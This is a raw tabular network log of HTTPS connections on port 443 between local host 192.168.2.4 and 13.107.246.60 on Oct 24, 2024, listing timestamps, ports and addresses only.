Oct 24, 2024 08:50:54.893635035 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.894020081 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.894049883 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.894104958 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.894198895 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.894203901 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.020629883 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.021393061 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.021424055 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.021931887 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.021936893 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.155803919 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.156271935 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.156371117 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.157059908 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.157080889 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.157107115 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.157113075 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.160398960 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.160440922 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.160509109 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.160649061 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.160665035 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.707700968 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.711178064 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.713771105 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.715399027 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.730609894 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.730663061 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.731049061 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.731062889 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.731292963 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.731332064 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.731647015 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.731657982 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.758876085 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.758896112 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.759303093 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.759306908 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.759505987 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.759535074 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.759836912 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.759843111 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.856904984 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.857002020 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.857059956 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.858345985 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.858371973 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.858386993 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.858395100 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.862004995 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.862072945 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.862135887 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.862312078 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.862324953 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.886430025 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.886519909 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.886579037 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.888309002 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.888377905 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.888441086 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.889415979 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.889432907 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.889444113 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.889447927 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.889477015 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.889487982 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.892343998 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.892381907 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.892466068 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.893165112 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.893198967 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.893285990 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.893349886 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.893372059 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.893444061 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.893460989 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.900125027 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.900573969 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.900628090 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:55.901001930 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:55.901017904 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.019764900 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.020229101 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.020307064 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.020355940 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.020379066 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.020396948 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.020404100 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.023123980 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.023159981 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.023231030 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.023358107 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.023374081 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.030818939 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.031086922 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.031162977 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.031248093 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.031249046 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.031296968 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.031337976 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.033828974 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.033878088 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.034004927 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.034156084 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.034172058 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.658703089 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.658710957 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.659445047 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.659446001 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.659463882 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.659476995 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.659858942 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.659863949 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.660243034 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.660257101 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.663120985 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.663525105 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.663600922 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.663866043 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.663882971 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.755563021 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.756031990 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.756087065 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.756463051 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.756470919 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.768229008 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.768611908 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.768625975 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.769030094 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.769035101 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.788489103 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.788758039 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.788928032 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.792032957 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.792294025 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.792376041 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.792438984 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.792484999 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.792536020 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.806077957 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.806127071 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.806324959 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.806350946 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.813911915 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.813913107 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.813967943 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.813993931 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.814815998 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.814829111 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.814840078 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.814843893 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.817091942 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.817126989 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.817226887 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.818192005 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.818223953 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.818312883 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.819214106 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.819256067 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.819318056 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.819406033 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.819422960 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.819571972 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.819586039 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.819715977 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.819730997 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.883131981 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.883301973 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.883425951 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.883518934 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.883518934 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.883548021 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.883569956 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.895998955 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.896045923 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.896431923 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.896431923 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.896481991 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.902362108 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.902556896 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.902648926 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.907596111 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.907635927 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.907685995 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.907695055 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.910324097 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.910353899 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:56.910443068 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.910576105 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:56.910583019 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.550005913 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.551014900 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.551053047 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.551453114 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.551475048 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.556109905 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.556710958 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.556730986 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.557055950 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.557060957 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.563781977 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.564287901 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.564316988 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.564707994 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.564713955 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.640714884 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.641427040 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.641444921 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.641951084 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.641957045 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.656553030 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.657742023 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.657764912 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.658227921 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.658232927 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.680510044 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.680833101 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.681099892 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.681099892 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.681099892 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.685565948 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.685678005 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.685745001 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.688983917 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.689004898 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.689019918 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.689026117 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.690517902 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.690556049 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.690675974 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.690820932 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.690834999 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.692295074 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.692323923 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.692420959 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.692774057 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.692786932 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.697942019 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.698157072 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.698221922 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.698257923 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.698278904 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.698293924 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.698301077 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.703542948 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.703567982 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.703641891 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.703778028 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.703790903 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.774496078 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.774687052 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.774853945 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.774853945 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.774889946 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.774909973 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.781043053 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.781145096 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.781244993 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.781380892 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.781409025 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.789339066 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.789505005 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.789577961 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.789618015 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.789639950 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.789649963 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.789655924 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.795306921 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.795367002 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.795458078 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.795639038 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.795655966 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:57.997479916 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:57.997514963 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.416487932 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.420453072 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.420507908 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.420871019 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.420886040 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.422066927 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.422424078 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.422480106 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.422713995 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.422722101 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.451601982 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.452184916 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.452219009 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.452609062 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.452615976 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.516407013 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.517126083 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.517218113 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.517482042 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.517498970 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.533745050 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.534205914 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.534265041 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.534569979 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.534578085 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.545720100 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.545800924 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.545892954 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.546000957 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.546016932 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.546057940 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.546066999 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.548732996 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.548779011 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.548877954 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.549025059 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.549037933 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.551585913 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.551896095 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.551959991 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.552016973 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.552016973 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.552042007 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.552054882 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.554450989 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.554485083 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.554661989 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.554686069 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.554692984 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.584089994 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.584258080 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.584374905 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.584443092 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.584469080 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.584511995 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.584521055 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.587163925 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.587215900 CEST	443	49839	13.107.246.60	192.168.2.4
